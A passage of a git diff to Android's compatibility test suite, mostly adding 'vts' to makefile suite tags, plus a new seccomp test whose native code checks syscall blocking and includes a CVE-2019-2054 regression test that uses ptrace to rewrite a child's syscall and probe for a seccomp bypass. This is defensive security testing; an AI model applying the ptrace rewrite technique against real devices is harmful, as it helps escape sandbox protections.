-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
index 04b794c..61adc17 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
index b4c5248..0205259 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
index 99acb17..1251f8b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
index ef92c71..2e5dc56 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_AAPT_FLAGS := --shared-lib
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
new file mode 100644
index 0000000..074cae3
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp7
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml
new file mode 100755
index 0000000..4709e10
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="5"
+        android:versionName="5.0">
+    <application android:hasCode="false">
+        <static-library android:name="foo.bar.lib" android:version="5"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml
new file mode 100644
index 0000000..e9e99e1
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <integer name="version">10</integer>
+</resources>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java
new file mode 100644
index 0000000..9b5736f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.provider;
+
+import android.content.Context;
+
+public class StaticSharedLib {
+    public static int getVersion(Context context) {
+        return context.getResources().getInteger(android.os.lib.provider.R.integer.version);
+    }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
index 5058191..69ed15f 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
index da53850..54ebdd1 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
@@ -31,7 +31,7 @@
 
 LOCAL_MULTILIB := both
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
index bc09dc4..3d48af2 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
@@ -20,13 +20,11 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
 LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
index 0abc351d..fee38a7 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
@@ -20,13 +20,11 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
 LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
 
 LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider1
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
index 427d72a..bc821ae 100644
--- a/hostsidetests/sample/Android.mk
+++ b/hostsidetests/sample/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsSampleHostTestCases
 
diff --git a/hostsidetests/sample/app/Android.mk b/hostsidetests/sample/app/Android.mk
index c69f29f..b3b6ad1 100644
--- a/hostsidetests/sample/app/Android.mk
+++ b/hostsidetests/sample/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceApp
 
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index 4c20ae3..845f51a 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
 
diff --git a/hostsidetests/seccomp/Android.mk b/hostsidetests/seccomp/Android.mk
new file mode 100644
index 0000000..5cb792b
--- /dev/null
+++ b/hostsidetests/seccomp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+
+LOCAL_MODULE := CtsSeccompHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/AndroidTest.xml b/hostsidetests/seccomp/AndroidTest.xml
new file mode 100644
index 0000000..cbfd1c4
--- /dev/null
+++ b/hostsidetests/seccomp/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Sseccomp host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSeccompDeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsSeccompHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
new file mode 100644
index 0000000..24da8dc
--- /dev/null
+++ b/hostsidetests/seccomp/app/Android.mk
@@ -0,0 +1,57 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+          android-support-test \
+          compatibility-device-util \
+          platform-test-annotations \
+
+LOCAL_JNI_SHARED_LIBRARIES := \
+          libctsseccomp_jni \
+          libcts_jni \
+          libnativehelper_compat_libc++ \
+          libnativehelper \
+          libcutils \
+          libc++ \
+          libpackagelistparser \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+
+LOCAL_PACKAGE_NAME := CtsSeccompDeviceApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/AndroidManifest.xml b/hostsidetests/seccomp/app/AndroidManifest.xml
new file mode 100644
index 0000000..b8e97e3
--- /dev/null
+++ b/hostsidetests/seccomp/app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.seccomp.cts.app">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.seccomp.cts.app" />
+
+</manifest>
diff --git a/hostsidetests/seccomp/app/jni/Android.mk b/hostsidetests/seccomp/app/jni/Android.mk
new file mode 100644
index 0000000..a0604a1
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libctsseccomp_jni
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+		CtsSeccompJniOnLoad.cpp \
+		android_seccomp_cts_app_SeccompDeviceTest.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+		libnativehelper \
+		liblog \
+		libcutils \
+		libc++ \
+		libpackagelistparser \
+
+
+LOCAL_C_INCLUDES += ndk/sources/cpufeatures
+LOCAL_STATIC_LIBRARIES := cpufeatures
+
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp b/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp
new file mode 100644
index 0000000..928b8c5
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/CtsSeccompJniOnLoad.cpp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_seccomp_cts_app_SeccompTest(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void * /*reserved*/) {
+    JNIEnv *env = NULL;
+
+    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+
+    if (register_android_seccomp_cts_app_SeccompTest(env)) {
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_4;
+}
diff --git a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
new file mode 100644
index 0000000..094beb2
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#define LOG_TAG "SeccompTest"
+
+#include <cutils/log.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <err.h>
+#include <sys/ptrace.h>
+#include <stdlib.h>
+#include <linux/elf.h>
+
+
+#define EXIT_VULNERABLE 113
+
+/*
+ * Function: testSyscallBlocked
+ * Purpose: test that the syscall listed is blocked by seccomp
+ * Parameters:
+ *        nr: syscall number
+ * Returns:
+ *        1 if blocked, else 0
+ * Exceptions: None
+ */
+static jboolean testSyscallBlocked(JNIEnv *, jobject, int nr) {
+    int pid = fork();
+    if (pid == 0) {
+        ALOGI("Calling syscall %d", nr);
+        syscall(nr);
+        return false;
+    } else {
+        int status;
+        int ret = waitpid(pid, &status, 0);
+        if (ret != pid) {
+            ALOGE("Unexpected return result from waitpid");
+            return false;
+        }
+
+        if (WIFEXITED(status)) {
+            ALOGE("syscall was not blocked");
+            return false;
+        }
+
+        if (WIFSIGNALED(status)) {
+            int signal = WTERMSIG(status);
+            if (signal == 31) {
+                ALOGI("syscall caused process termination");
+                return true;
+            }
+
+            ALOGE("Unexpected signal");
+            return false;
+        }
+
+        ALOGE("Unexpected status from syscall_exists");
+        return false;
+    }
+}
+
+jboolean testPtrace_CVE_2019_2054(JNIEnv* env, jobject thiz) {
+  (void) env;
+  (void) thiz;
+  pid_t my_pid = -1;
+  pid_t child = fork();
+  switch (child) {
+    case -1:
+      return true;
+    case 0:
+      ALOGE("child");
+      my_pid = getpid();
+      while (true) {
+        errno = 0;
+        int res = syscall(__NR_gettid, 0, 0);
+        if (res != my_pid) {
+          exit(EXIT_VULNERABLE);
+        }
+      }
+      return true;
+    default:
+      sleep(1);
+      if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) {
+        err(1, "main() : ptrace attach");
+        return true;
+      }
+      int status;
+      if (waitpid(child, &status, 0) != child) {
+        err(1, "main() : wait for child");
+        return true;
+      }
+      if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) {
+        err(1, "main() : ptrace syscall entry");
+        return true;
+      }
+      if (waitpid(child, &status, 0) != child) {
+        err(1, "main() : wait for child");
+        return true;
+      }
+      int syscallno;
+      struct iovec iov = {.iov_base = &syscallno, .iov_len = sizeof(syscallno)};
+      if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
+        err(1, "main() : ptrace getregs");
+        return true;
+      }
+      if (syscallno != __NR_gettid) {
+        err(1, "main() : not gettid");
+        return true;
+      }
+      syscallno = __NR_swapon;
+      if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) {
+        err(1, "main() : ptrace setregs");
+        return true;
+      }
+      if (ptrace(PTRACE_DETACH, child, NULL, NULL)) {
+        err(1, "main() : ptrace syscall");
+        return true;
+      }
+      // kill child process
+      int killRet = kill(child, SIGCONT);
+      if (killRet == -1) {
+        printf(
+            "main() : killing child process(%d) with SIGCONT on error (%s)\n",
+            child, strerror(errno));
+      }
+      // wait for child process stop
+      int waitPid = waitpid(child, &status, 0);
+      if (waitPid == -1) {
+        perror("main() waitpid: waitpid = -1 and continue wait");
+        return true;
+      }
+      if (WIFEXITED(status)) {
+        //  detected vulnarable exit status of child process
+        return WEXITSTATUS(status) != EXIT_VULNERABLE;
+      }
+      break;
+  }
+  return true;
+}
+
+static JNINativeMethod gMethods[] = {
+    { "testSyscallBlocked", "(I)Z",
+            (void*) testSyscallBlocked },
+    {  "testPtrace_CVE_2019_2054", "()Z",
+            (void *) testPtrace_CVE_2019_2054 },
+};
+
+int register_android_seccomp_cts_app_SeccompTest(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("android/seccomp/cts/app/SeccompDeviceTest");
+
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
new file mode 100644
index 0000000..93a1e56
--- /dev/null
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.seccomp.cts.app;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.support.test.runner.AndroidJUnit4;
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.util.CpuFeatures;
+
+/**
+ * Device-side tests for CtsSeccompHostTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SeccompDeviceTest {
+    static {
+        System.loadLibrary("ctsseccomp_jni");
+    }
+
+    @Test
+    public void testCTSSyscallBlocked() {
+        if (CpuFeatures.isArm64Cpu()) {
+            testBlocked(217); // __NR_add_key
+            testBlocked(219); // __NR_keyctl
+            testAllowed(56); // __NR_openat
+
+            // b/35034743 - do not remove test without reading bug
+            testAllowed(267); // __NR_fstatfs64
+        } else if (CpuFeatures.isArmCpu()) {
+            testBlocked(309); // __NR_add_key
+            testBlocked(311); // __NR_keyctl
+            testAllowed(322); // __NR_openat
+
+            // b/35906875 - do not remove test without reading bug
+            testAllowed(316); // __NR_inotify_init
+        } else if (CpuFeatures.isX86_64Cpu()) {
+            testBlocked(248); // __NR_add_key
+            testBlocked(250); // __NR_keyctl
+            testAllowed(257); // __NR_openat
+        } else if (CpuFeatures.isX86Cpu()) {
+            testBlocked(286); // __NR_add_key
+            testBlocked(288); // __NR_keyctl
+            testAllowed(295); // __NR_openat
+        } else if (CpuFeatures.isMips64Cpu()) {
+            testBlocked(5239); // __NR_add_key
+            testBlocked(5241); // __NR_keyctl
+            testAllowed(5247); // __NR_openat
+        } else if (CpuFeatures.isMipsCpu()) {
+            testBlocked(4280); // __NR_add_key
+            testBlocked(4282); // __NR_keyctl
+            testAllowed(4288); // __NR_openat
+        } else {
+            Assert.fail("Unsupported OS");
+        }
+    }
+
+    @Test
+    public void testCTSSwapOnOffBlocked() {
+        if (CpuFeatures.isArm64Cpu()) {
+            testBlocked(224); // __NR_swapon
+            testBlocked(225); // __NR_swapoff
+        } else if (CpuFeatures.isArmCpu()) {
+            testBlocked(87);  // __NR_swapon
+            testBlocked(115); // __NR_swapoff
+        } else if (CpuFeatures.isX86_64Cpu()) {
+            testBlocked(167); // __NR_swapon
+            testBlocked(168); // __NR_swapoff
+        } else if (CpuFeatures.isX86Cpu()) {
+            testBlocked(87);  // __NR_swapon
+            testBlocked(115); // __NR_swapoff
+        } else if (CpuFeatures.isMips64Cpu()) {
+            testBlocked(5162); // __NR_swapon
+            testBlocked(5163); // __NR_swapoff
+        } else if (CpuFeatures.isMipsCpu()) {
+            testBlocked(4087); // __NR_swapon
+            testBlocked(4115); // __NR_swapoff
+        } else {
+            Assert.fail("Unsupported OS");
+        }
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPtraceSeccomp_CVE_2019_2054() throws Exception {
+        Assert.assertTrue(testPtrace_CVE_2019_2054());
+    }
+
+    private void testBlocked(int nr) {
+        Assert.assertTrue("Syscall " + nr + " not blocked", testSyscallBlocked(nr));
+    }
+
+    private void testAllowed(int nr) {
+        Assert.assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
+    }
+
+    private static final native boolean testSyscallBlocked(int nr);
+    private static final native boolean testPtrace_CVE_2019_2054();
+}
diff --git a/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java b/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java
new file mode 100644
index 0000000..1ee8fff
--- /dev/null
+++ b/hostsidetests/seccomp/src/android/seccomp/cts/SeccompHostJUnit4DeviceTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
